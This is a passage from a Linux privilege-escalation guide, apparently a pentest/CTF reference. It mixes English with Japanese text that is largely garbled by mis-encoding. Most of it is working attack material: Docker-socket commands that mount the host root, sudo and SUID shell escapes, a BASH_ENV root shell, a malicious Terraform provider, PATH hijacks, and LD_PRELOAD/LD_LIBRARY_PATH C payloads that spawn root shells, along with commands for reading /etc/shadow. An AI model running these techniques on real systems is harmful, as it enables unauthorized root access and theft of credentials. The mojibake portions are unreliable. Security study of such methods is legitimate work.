ã¿ã€ããŒãæºäºãããšãã«æå¹åããã unit ãæå®ããŸããåŒæ°ã¯ unit åã§ããã®ãµãã£ãã¯ã¹ã¯ â.timerâ ã§ã¯ãããŸãããæå®ããªãå Žåããã®å€ã¯ã¿ã€ã㌠unit ãšåãååïŒãµãã£ãã¯ã¹ãé€ãïŒãæã€ service ã«ããã©ã«ãããŸãïŒäžèšåç §ïŒãæå¹åããã unit åãšã¿ã€ã㌠unit ã® unit åã¯ããµãã£ãã¯ã¹ãé€ããŠåäžã«ããããšãæšå¥šãããŸãã
Therefore, to abuse this permission you would need to:
.serviceãªã©ã® systemd unit ã®ãã¡ãæžã蟌ã¿å¯èœãªãã€ããªãå®è¡ããŠãããã®ãèŠã€ãã- çžå¯Ÿãã¹ãå®è¡ããŠãã systemd unit ãèŠã€ããïŒãã®å®è¡ãã¡ã€ã«ãåœè£ ããããã«ïŒsystemd PATH ã«å¯Ÿã㊠æžãèŸŒã¿æš©é ãæã£ãŠããããš
Learn more about timers with man systemd.timer.
ã¿ã€ããŒãæå¹åãã
ã¿ã€ããŒãæå¹åããã«ã¯ root æš©éãå¿ èŠã§ã次ãå®è¡ããŸã:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer â /lib/systemd/system/backu2.timer.
泚æ: timer 㯠/etc/systemd/system/<WantedBy_section>.wants/<name>.timer ã«å¯Ÿããã·ã³ããªãã¯ãªã³ã¯ãäœæããããšã§æå¹åãããŸã
ãœã±ãã
Unix Domain Sockets (UDS) ã¯ã¯ã©ã€ã¢ã³ã-ãµãŒãã¢ãã«ã§åäžãã·ã³ãŸãã¯å¥ã®ãã·ã³éã®ããã»ã¹ééä¿¡ãå¯èœã«ããŸãããããã¯ã³ã³ãã¥ãŒã¿ééä¿¡ã®ããã«æšæºã® Unix ãã£ã¹ã¯ãªãã¿ãã¡ã€ã«ãå©çšãã.socket ãã¡ã€ã«ãéããŠèšå®ãããŸãã
ãœã±ãã㯠.socket ãã¡ã€ã«ã䜿çšããŠèšå®ã§ããŸãã
man systemd.socket ã§ãœã±ããã«ã€ããŠè©³ããåŠã¹ãŸãã ãã®ãã¡ã€ã«å
ã§ã¯ãããã€ãã®è峿·±ããã©ã¡ãŒã¿ãèšå®ã§ããŸã:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: ãããã®ãªãã·ã§ã³ã¯ç°ãªããŸãããèŠçŽãããšãœã±ãããã©ãã§ãªãã¹ã³ãããã瀺ããŸãïŒAF_UNIX ãœã±ãããã¡ã€ã«ã®ãã¹ããªãã¹ã³ãã IPv4/6 ãããŒãçªå·ãªã©ïŒãAccept: boolean åŒæ°ãåããŸããtrue ã®å Žåãåçä¿¡æ¥ç¶ããšã«ãµãŒãã¹ã€ã³ã¹ã¿ã³ã¹ãçæãããæ¥ç¶ãœã±ããã®ã¿ããã®ã€ã³ã¹ã¿ã³ã¹ã«æž¡ãããŸããfalse ã®å Žåããã¹ãŠã®åŸ ã¡åããœã±ããèªäœãèµ·åããã service unit ã«æž¡ããããã¹ãŠã®æ¥ç¶ã«å¯ŸããŠ1ã€ã® service unit ã ããçæãããŸãããã®å€ã¯ããŒã¿ã°ã©ã ãœã±ããã FIFO ã§ã¯ç¡èŠãããåäžã® service unit ãç¡æ¡ä»¶ã«ãã¹ãŠã®çä¿¡ãã©ãã£ãã¯ãåŠçããŸããããã©ã«ã㯠falseãããã©ãŒãã³ã¹äžã®çç±ãããæ°ããããŒã¢ã³ã¯Accept=noã«é©ããæ¹æ³ã§ã®ã¿äœæããããšãæšå¥šãããŸããExecStartPre,ExecStartPost: 1ã€ä»¥äžã®ã³ãã³ãã©ã€ã³ãåãããããã¯åŸ ã¡åãããœã±ãã/FIFO ãããããäœæãããã€ã³ããããåãŸãã¯äœæãããã€ã³ããããåŸã«å®è¡ãããŸããã³ãã³ãã©ã€ã³ã®æåã®ããŒã¯ã³ã¯çµ¶å¯Ÿãã¹ã®ãã¡ã€ã«åã§ãªããã°ãªããããã®åŸã«ããã»ã¹ã®åŒæ°ãç¶ããŸããExecStopPre,ExecStopPost: åŸ ã¡åãããœã±ãã/FIFO ãããããéãããåé€ãããåãŸãã¯éãããåé€ãããåŸã«å®è¡ããã远å ã®ã³ãã³ãã§ããService: incoming traffic ã«å¯ŸããŠactivateããserviceunit åãæå®ããŸãããã®èšå®ã¯ Accept=no ã®ãœã±ããã§ã®ã¿èš±å¯ãããŸããããã©ã«ãã§ã¯ãœã±ãããšåãååã® serviceïŒãµãã£ãã¯ã¹ã眮ãæãããã®ïŒã«ãªããŸããã»ãšãã©ã®å Žåããã®ãªãã·ã§ã³ã䜿ãå¿ èŠã¯ãããŸããã
æžã蟌ã¿å¯èœãª .socket ãã¡ã€ã«
ããæžã蟌ã¿å¯èœãª .socket ãã¡ã€ã«ãèŠã€ãããã[Socket] ã»ã¯ã·ã§ã³ã®å
é ã« ExecStartPre=/home/kali/sys/backdoor ã®ãããªè¡ã远å ããããšãã§ããããã¯ãã¢ã¯ãœã±ãããäœæãããåã«å®è¡ãããŸãããããã£ãŠããããããã·ã³ã®åèµ·åãåŸ
ã€å¿
èŠããããŸãã
ãã®ãœã±ãããã¡ã€ã«ã®èšå®ãã·ã¹ãã ã§å®éã«äœ¿çšãããŠããªããã°ãããã¯ãã¢ã¯å®è¡ãããªãç¹ã«æ³šæããŠãã ãã
æžã蟌ã¿å¯èœãªãœã±ãã
ããæžã蟌ã¿å¯èœãªãœã±ããïŒããã§èšãã®ã¯èšå®ãã¡ã€ã«ã® .socket ã§ã¯ãªã Unix ãœã±ããã®ããšã§ãïŒãç¹å®ãããããã®ãœã±ãããšéä¿¡ããããšãã§ããè匱æ§ãæªçšã§ããå¯èœæ§ããããŸãã
Unix ãœã±ããã®åæ
netstat -a -p --unix
çã®æ¥ç¶
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exploitation example:
HTTP sockets
泚æ: ããã€ãã® sockets listening for HTTP requests ãååšããå ŽåããããŸãïŒ.socket files ã®ããšã§ã¯ãªããunix sockets ãšããŠåäœãããã¡ã€ã«ã®ããšãæããŸãïŒã次ã®ã³ãã³ãã§ç¢ºèªã§ããŸã:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
ãœã±ããã responds with an HTTP request ã®å Žåããããš communicate ã§ããå Žåã«ãã£ãŠã¯ exploit some vulnerability ããããšããããŸãã
æžã蟌ã¿å¯èœãª Docker Socket
The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. ããã©ã«ãã§ã¯ãroot ãŠãŒã¶ãŒããã³ docker ã°ã«ãŒãã®ã¡ã³ããŒã«ãã£ãŠæžã蟌ã¿å¯èœã§ãã ãã®ãœã±ãããžã®æžãèŸŒã¿æš©éãæã€ãšãprivilege escalation ã«ç¹ããå¯èœæ§ããããŸãã 以äžã«ããã®å®è¡æ¹æ³ã®å
èš³ãšãDocker CLI ãå©çšã§ããªãå Žåã®ä»£æ¿ææ®µã瀺ããŸãã
Privilege Escalation with Docker CLI
ãã Docker socket ãžã®æžãèŸŒã¿æš©ãããå Žåãæ¬¡ã®ã³ãã³ãã䜿çšã㊠escalate privileges ã§ããŸã:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
ãããã®ã³ãã³ãã«ããããã¹ãã®ãã¡ã€ã«ã·ã¹ãã ã«å¯ŸããŠrootã¬ãã«ã®ã¢ã¯ã»ã¹ãæã€ã³ã³ãããå®è¡ã§ããŸãã
Docker APIãçŽæ¥äœ¿çšãã
Docker CLIãå©çšã§ããªãå Žåã§ããDockerãœã±ããã¯Docker APIãšcurlã³ãã³ãã䜿ã£ãŠæäœã§ããŸãã
- List Docker Images: å©çšå¯èœãªã€ã¡ãŒãžã®äžèЧãååŸããŸãã
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: ãã¹ãã®ã«ãŒããã£ã¬ã¯ããªãããŠã³ãããã³ã³ãããäœæãããªã¯ãšã¹ããéä¿¡ããŸãã
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
æ°ããäœæããã³ã³ãããèµ·åãã:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container:
socatã䜿ã£ãŠã³ã³ããã«æ¥ç¶ã確ç«ãããã®äžã§ã³ãã³ããå®è¡ã§ããããã«ããŸãã
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
socatæ¥ç¶ãèšå®ããåŸããã¹ãã®ãã¡ã€ã«ã·ã¹ãã ã«å¯Ÿããrootã¬ãã«ã®ã¢ã¯ã»ã¹æš©ã§ã³ã³ããå
ã§çŽæ¥ã³ãã³ããå®è¡ã§ããŸãã
ãã®ä»
docker socketã«å¯ŸããŠæžãèŸŒã¿æš©éãæã£ãŠããïŒinside the group dockerïŒå Žåã¯ãmore ways to escalate privilegesããããŸããããdocker API is listening in a port you can also be able to compromise itãªãããããæªçšã§ããå¯èœæ§ããããŸãã
dockerããã®è±åºããããæªçšããŠescalate privilegesããä»ã®æ¹æ³ã®è©³çްã¯ã次ã確èªããŠãã ããïŒ
Containerd (ctr) privilege escalation
If you find that you can use the ctr command read the following page as you may be able to abuse it to escalate privileges:
Containerd (ctr) Privilege Escalation
RunC privilege escalation
If you find that you can use the runc command read the following page as you may be able to abuse it to escalate privileges:
D-Bus
D-Busã¯é«åºŠãªã€ã³ã¿ãŒã»ããã»ã¹ã»ã³ãã¥ãã±ãŒã·ã§ã³ïŒIPCïŒã·ã¹ãã ã§ãããã¢ããªã±ãŒã·ã§ã³ãå¹ççã«çžäºäœçšãããŒã¿ãå ±æã§ããããã«ããŸããçŸä»£ã®Linuxã·ã¹ãã ã念é ã«èšèšãããŠãããæ§ã ãªåœ¢æ ã®ã¢ããªã±ãŒã·ã§ã³ééä¿¡ã®ããã®å ç¢ãªãã¬ãŒã ã¯ãŒã¯ãæäŸããŸãã
ãã®ã·ã¹ãã ã¯å€çšéã§ãããã»ã¹éã®ããŒã¿äº€æã匷åããåºæ¬çãªIPCããµããŒãããenhanced UNIX domain socketsã飿³ãããŸããããã«ãã€ãã³ããã·ã°ãã«ã®ãããŒããã£ã¹ããæ¯æŽããã·ã¹ãã ã³ã³ããŒãã³ãéã®çµ±åã容æã«ããŸããããšãã°ãBluetoothããŒã¢ã³ããã®çä¿¡éç¥ã®ã·ã°ãã«ã鳿¥œãã¬ãŒã€ãŒããã¥ãŒãããããä¿ãããšãã£ããŠãŒã¶ãŒäœéšã®åäžãå¯èœã§ããå ããŠãD-Busã¯ãªã¢ãŒããªããžã§ã¯ãã·ã¹ãã ããµããŒãããŠãããã¢ããªã±ãŒã·ã§ã³éã®ãµãŒãã¹èŠæ±ãã¡ãœããåŒã³åºããç°¡çŽ åããåŸæ¥ã¯è€éã ã£ãåŠçãå¹çåããŸãã
D-Busã¯èš±å¯/æåŠã¢ãã«ã§åäœãããããããããªã·ãŒã«ãŒã«ã®çޝç©å¹æã«åºã¥ããŠã¡ãã»ãŒãžæš©éïŒã¡ãœããåŒã³åºããã·ã°ãã«éåºãªã©ïŒã管çããŸãããããã®ããªã·ãŒã¯ãã¹ãšã®ã€ã³ã¿ã©ã¯ã·ã§ã³ãæå®ãããããã®æš©éãæªçšããããšã§privilege escalationãåŒãèµ·ããå¯èœæ§ããããŸãã
ãã®ãããªããªã·ãŒã®äŸãšããŠã/etc/dbus-1/system.d/wpa_supplicant.confã«ããããªã·ãŒã瀺ãããŠãããrootãŠãŒã¶ãŒãfi.w1.wpa_supplicant1ãææãããããžã®éä¿¡ããã³åä¿¡ãè¡ãæš©éãèšèŒãããŠããŸãã
ãŠãŒã¶ãŒãã°ã«ãŒããæå®ãããŠããªãããªã·ãŒã¯å šäœã«é©çšãããâdefaultâã³ã³ããã¹ãã®ããªã·ãŒã¯ä»ã®ç¹å®ã®ããªã·ãŒã§ã«ããŒãããªãå šãŠã«é©çšãããŸãã
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
ããã§ D-Bus éä¿¡ã® enumerate ãš exploit ã®æ¹æ³ãåŠã¹ãŸãïŒ
D-Bus Enumeration & Command Injection Privilege Escalation
ãããã¯ãŒã¯
ãããã¯ãŒã¯ã enumerate ããŠããã·ã³ã®äœçœ®ãææ¡ããã®ã¯åžžã«è峿·±ãã§ãã
äžè¬ç㪠enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
éããŠããããŒã
ã¢ã¯ã»ã¹ããåã«çžäºäœçšã§ããªãã£ããã·ã³äžã§åäœããŠãããããã¯ãŒã¯ãµãŒãã¹ã¯åžžã«ç¢ºèªããŠãã ãã:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
Sniffing
sniff traffic ãå¯èœã確èªããŠãã ãããå¯èœã§ããã°ãããã€ãã® credentials ãååŸã§ãããããããŸããã
timeout 1 tcpdump
ãŠãŒã¶ãŒ
äžè¬çãªåæ
èªåã誰ïŒwhoïŒããã©ã®ãããªprivilegesãæã£ãŠããããã©ã®usersãã·ã¹ãã ã«ååšããããã©ã®ã¢ã«ãŠã³ããloginã§ããããã©ã®ã¢ã«ãŠã³ããroot privilegesãæã£ãŠãããã確èªããŠãã ããïŒ
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
Big UID
äžéšã® Linux ããŒãžã§ã³ã¯ãUID > INT_MAX ã®ãŠãŒã¶ãŒã escalate privileges ã§ãããã°ã®åœ±é¿ãåããŸããã詳现æ
å ±: here, here, here.
Exploit it using: systemd-run -t /bin/bash
Groups
root privileges ãä»äžããå¯èœæ§ã®ããã°ã«ãŒãã®ã¡ã³ããŒã§ãããã©ãã確èªããŠãã ãã:
Interesting Groups - Linux Privesc
Clipboard
å¯èœã§ããã°ãã¯ãªããããŒãã®äžã«è峿·±ããã®ãå«ãŸããŠããªãã確èªããŠãã ãã
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
ãã¹ã¯ãŒãããªã·ãŒ
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
æ¢ç¥ã®ãã¹ã¯ãŒã
ç°å¢ã®ãã¹ã¯ãŒãã1ã€ã§ãç¥ã£ãŠããå Žåã¯ããã®ãã¹ã¯ãŒãã䜿ã£ãŠåãŠãŒã¶ãŒã«ãã°ã€ã³ããŠã¿ãŠãã ããã
Su Brute
å€ãã®ãã€ãºãåºãããšãæ°ã«ããªãå Žåã§ã察象ã®ãã·ã³ã« su ãš timeout ãã€ããªãååšãããªããsu-bruteforceã
Linpeas 㯠-a ãã©ã¡ãŒã¿ã§ãŠãŒã¶ãŒã brute-force ããããšããŸãã
Writable PATH abuses
$PATH
$PATH ã®ããããã®ãã©ã«ãã«æžã蟌ã¿ã§ããããšã倿ããå Žåãæžã蟌ã¿å¯èœãªãã©ã«ãå ã«ãå¥ã®ãŠãŒã¶ãŒïŒçæ³ã¯ rootïŒãå®è¡ããã³ãã³ãåãšåãååã® backdoor ãäœæããããšã§æš©éææ Œã§ããå¯èœæ§ããããŸãããã ãããã®ã³ãã³ãã $PATH äžã§ããªãã®æžã蟌ã¿å¯èœãã©ã«ãããåã«ãããã©ã«ãããèªã¿èŸŒãŸããªãããšãæ¡ä»¶ã§ãã
SUDO and SUID
sudo ã䜿ã£ãŠå®è¡ã§ããã³ãã³ããèš±å¯ãããŠããå Žåãããã€ããªã« suid ããããèšå®ãããŠããå ŽåããããŸãã以äžã§ç¢ºèªããŠãã ããïŒ
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
äžéšã®äºæããªã commands ã¯ãã¡ã€ã«ã®èªã¿åãããã³/ãŸãã¯æžã蟌ã¿ãããã㯠command ã®å®è¡ããå¯èœã«ããŸãã äŸãã°:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Sudo ã®èšå®ã«ããããŠãŒã¶ãŒããã¹ã¯ãŒããç¥ããªããŠãå¥ã®ãŠãŒã¶ãŒã®æš©éã§ã³ãã³ããå®è¡ã§ããå Žåãããã
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
ãã®äŸã§ã¯ããŠãŒã¶ãŒdemoãrootãšããŠvimãå®è¡ã§ããŸããroot directoryã«ssh keyã远å ããããshãåŒã³åºãããšã§shellãååŸããã®ã¯ç°¡åã§ãã
sudo vim -c '!sh'
SETENV
ãã®ãã£ã¬ã¯ãã£ãã¯ãäœããå®è¡ããéã«ãŠãŒã¶ãŒãç°å¢å€æ°ãèšå®ã§ããããã«ããŸã:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
ãã®äŸã¯ãHTB machine Admirer ãåºã«ãããã®ã§ãã¹ã¯ãªããã root ãšããŠå®è¡ããéã«ä»»æã® python ã©ã€ãã©ãªãèªã¿èŸŒãã PYTHONPATH hijacking ã« vulnerable ã§ãã:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV ã sudo env_keep ã«ãã£ãŠä¿æããããš â root shell
ãã sudoers ã BASH_ENV ãä¿æããŠããå ŽåïŒäŸ: Defaults env_keep+="ENV BASH_ENV"ïŒãèš±å¯ãããã³ãã³ããåŒã³åºãããšãã« Bash ã®é察話çãªèµ·åæåãå©çšããŠä»»æã®ã³ãŒãã root ãšããŠå®è¡ã§ããŸãã
-
ãªãæ©èœããã: é察話ã·ã§ã«ã§ã¯ãBash ã¯
$BASH_ENVãè©äŸ¡ããã¿ãŒã²ããã¹ã¯ãªãããå®è¡ããåã«ãã®ãã¡ã€ã«ã sourceïŒèªã¿èŸŒã¿ïŒããŸããå€ãã® sudo ã«ãŒã«ã¯ã¹ã¯ãªãããã·ã§ã«ã©ãããŒã®å®è¡ãèš±å¯ããŸããsudo ãBASH_ENVãä¿æããŠããå Žåãããªãã®ãã¡ã€ã«ã¯ root æš©éã§ source ãããŸãã -
èŠä»¶:
-
å®è¡ã§ãã sudo ã«ãŒã«ïŒé察話çã«
/bin/bashãåŒã³åºãã¿ãŒã²ããããŸãã¯ä»»æã® bash ã¹ã¯ãªããïŒã -
BASH_ENVãenv_keepã«å«ãŸããŠããããšïŒsudo -lã§ç¢ºèªïŒã -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Hardening:
- Remove
BASH_ENV(andENV) fromenv_keep, preferenv_reset. - Avoid shell wrappers for sudo-allowed commands; use minimal binaries.
- Consider sudo I/O logging and alerting when preserved env vars are used.
Terraform via sudo with preserved HOME (!env_reset)
If sudo leaves the environment intact (!env_reset) while allowing terraform apply, $HOME stays as the calling user. Terraform therefore loads $HOME/.terraformrc as root and honors provider_installation.dev_overrides.
- Point the required provider at a writable directory and drop a malicious plugin named after the provider (e.g.,
terraform-provider-examples):
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform will fail the Go plugin handshake but executes the payload as root before dying, leaving a SUID shell behind.
TF_VAR overrides + symlink validation bypass
Terraformã®å€æ°ã¯TF_VAR_<name>ç°å¢å€æ°ã§æž¡ãããšãã§ããsudoãç°å¢ãä¿æããå Žåã«ã¯ãã®ãŸãŸæ®ããŸããstrcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")ã®ãããªåŒ±ãæ€èšŒã¯ã·ã³ããªãã¯ãªã³ã¯ã§ãã€ãã¹ã§ããŸãïŒ
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform ã¯ã·ã³ããªãã¯ãªã³ã¯ã解決ããå®éã® /root/root.txt ãæ»æè
ãèªããå
ã«ã³ããŒããŸããåãææ³ã¯ãå®å
ã·ã³ããªãã¯ãªã³ã¯ãäºåã«äœæããããšã§ç¹æš©ãã¹ãžã®æžã蟌ã¿ã«ãå©çšã§ããŸãïŒäŸ: ãããã€ãã®å®å
ãã¹ã /etc/cron.d/ å
ã«åãããªã©ïŒã
requiretty / !requiretty
äžéšã®å€ããã£ã¹ããªãã¥ãŒã·ã§ã³ã§ã¯ãsudo 㯠requiretty ã§èšå®ã§ãããã㯠sudo ã察話ç㪠TTY ããã®ã¿å®è¡ããããã«åŒ·å¶ããŸãã!requiretty ãèšå®ãããŠããïŒãŸãã¯ãªãã·ã§ã³ãååšããªãïŒå Žåãsudo 㯠reverse shellsãcron jobsããŸã㯠scripts ã®ãããªé察話çã³ã³ããã¹ãããå®è¡ã§ããŸãã
Defaults !requiretty
ããã¯åç¬ã§ã¯çŽæ¥çãªè匱æ§ã§ã¯ãããŸããããsudo ã«ãŒã«ããã« PTY ãå¿ èŠãšããã«æªçšããããç¶æ³ãæ¡å€§ããŸãã
Sudo env_keep+=PATH / insecure secure_path â PATH hijack
If sudo -l shows env_keep+=PATH or a secure_path containing attacker-writable entries (e.g., /home/<user>/bin), any relative command inside the sudo-allowed target can be shadowed.
- èŠä»¶: ã¹ã¯ãªãã/ãã€ããªãå®è¡ãã sudo ã«ãŒã«ïŒå€ãã¯
NOPASSWDïŒã§ã絶察ãã¹ã䜿ããã«ã³ãã³ãïŒfree,df,psãªã©ïŒãåŒã³åºãããã€æåã«æ€çŽ¢ãããæžã蟌ã¿å¯èœãª PATH ãšã³ããªãååšããããšã
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free â runs our trojan
bash -p # root shell via SUID bit
Sudo execution bypassing paths
Jump ã§ä»ã®ãã¡ã€ã«ãèªãããsymlinks ã䜿ããŸããäŸãã° sudoers file ã§ã¯: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
ãã wildcard ã䜿çšãããŠãã (*), ããã«ç°¡åã§ã:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
察ç: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo command/SUID binary ã«ã³ãã³ãã®ãã¹ãæå®ãããŠããªãå Žå
åäžã®ã³ãã³ãã«å¯Ÿã㊠sudo æš©é ã ãã¹ãæå®ããã« äžããããŠããå ŽåïŒäŸ: hacker10 ALL= (root) lessïŒãPATH 倿°ã倿Žããããšã§æªçšã§ããŸãã
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
ãã®ææ³ã¯ãsuid ãã€ããªããã¹ãæå®ããã«å¥ã®ã³ãã³ããå®è¡ããïŒå¥åŠãª SUID ãã€ããªã®å 容ã¯å¿ ã strings **ã§ç¢ºèªããŠãã ããïŒ**å Žåã«ã䜿çšã§ããŸãã
SUID binary ã§ã³ãã³ãã®ãã¹ãæå®ãããŠããå Žå
ããsuid ãã€ããªããã¹ãæå®ããŠå¥ã®ã³ãã³ããå®è¡ããŠããå Žåãsuidãã¡ã€ã«ãåŒã³åºãã³ãã³ãåã§export a functionãäœæããŠãšã¯ã¹ããŒãããŠã¿ãŠãã ããã
äŸãã°ããã suid ãã€ããªã /usr/sbin/service apache2 start ãåŒã³åºããŠããå Žåã颿°ãäœæããŠãšã¯ã¹ããŒãããŠã¿ãŠãã ããïŒ
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
ãã®åŸãsuid ãã€ããªãåŒã³åºããšããã®é¢æ°ãå®è¡ãããŸã
LD_PRELOAD & LD_LIBRARY_PATH
LD_PRELOAD ç°å¢å€æ°ã¯ãããŒããŒãä»ã®ãã¹ãŠã®ã©ã€ãã©ãªïŒæšæº C ã©ã€ãã©ãª (libc.so) ãå«ãïŒããåã«èªã¿èŸŒãã1ã€ãŸãã¯è€æ°ã®å
±æã©ã€ãã©ãªïŒ.so ãã¡ã€ã«ïŒãæå®ããããã«äœ¿çšãããŸãããã®ããã»ã¹ã¯ã©ã€ãã©ãªã®ããªããŒããšããŠç¥ãããŠããŸãã
ããããã·ã¹ãã ã®ã»ãã¥ãªãã£ãç¶æãããã®æ©èœãç¹ã« suid/sgid å®è¡ãã¡ã€ã«ã§æªçšãããã®ãé²ãããã«ãã·ã¹ãã ã¯ããã€ãã®æ¡ä»¶ãé©çšããŸã:
- ããŒããŒã¯ãreal user ID (ruid) ã effective user ID (euid) ãšäžèŽããªãå®è¡ãã¡ã€ã«ã«å¯Ÿã㊠LD_PRELOAD ãç¡èŠããŸãã
- suid/sgid ãæã€å®è¡ãã¡ã€ã«ã«å¯ŸããŠã¯ãæšæºãã¹ã«ãããã〠suid/sgid ã«ãªã£ãŠããã©ã€ãã©ãªã®ã¿ãããªããŒããããŸãã
æš©éææ Œã¯ãsudo ã§ã³ãã³ããå®è¡ããæš©éããããsudo -l ã®åºåã« env_keep+=LD_PRELOAD ãå«ãŸããŠããå Žåã«çºçããããšããããŸãããã®èšå®ã«ãããsudo ã§ã³ãã³ããå®è¡ãããŠã LD_PRELOAD ç°å¢å€æ°ãç¶æãããŠèªèããããããææ Œããæš©éã§ä»»æã®ã³ãŒããå®è¡ãããå¯èœæ§ããããŸãã
Defaults env_keep += LD_PRELOAD
ãã¡ã€ã«åã /tmp/pe.c ãšããŠä¿å
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
次ã«ããããã³ã³ãã€ã«ããã«ã¯ã次ã䜿çšããŸã:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
æåŸã«ãescalate privileges ãå®è¡ããŠ
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
æ»æè ã LD_LIBRARY_PATH ç°å¢å€æ°ãå¶åŸ¡ããŠããå Žåãåæ§ã® privesc ãæªçšããåŸãŸãããªããªããã©ã€ãã©ãªãæ€çŽ¢ããããã¹ãæ»æè ãå¶åŸ¡ã§ããããã§ãã
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary â .so injection
ç°åžžã«èŠããSUIDæš©éãæã€ãã€ããªã«ééãããã.soãã¡ã€ã«ãé©åã«èªã¿èŸŒãã§ããã確èªããã®ãè¯ãç¿æ £ã§ãã以äžã®ã³ãã³ãã§ç¢ºèªã§ããŸã:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
